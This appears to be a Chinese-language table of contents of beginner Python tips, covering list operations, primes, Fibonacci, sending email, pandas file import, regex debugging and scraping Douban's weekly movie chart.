list分组

key，value互换

碾平list

简易的web服务

打印九九乘法表

计算出1-1000之间的素数

输出斐波那契数列的值

调用默认浏览器打开一坨网页

心形函数

判断输入数字是实数（整型数字或者浮点型数字）

requests优雅的下载图片

爬取 豆瓣电影主页本周口碑榜

pip 安装 scrapy

找出list2中有,但是list1中没有的数据

将字符串'[1,2,3,4]’转化为列表[1,2,3,4]

Pythonic [for]

send email

第三方 SMTP 服务

pandas导入文件

找出list2中有,但是list1中没有的数据

python try…except中如何输入e的行号

字符串与二进制串的相互转换

windows 下python pip install libxml

python中不要使用[]{}作为默认参数

嵌套列表推导式和生成器表达式

括号代替缩进

使用re.DEBUG查看正则表达式的匹配过程

调试函数

字典排序

爬取豆瓣电影主页本周口碑榜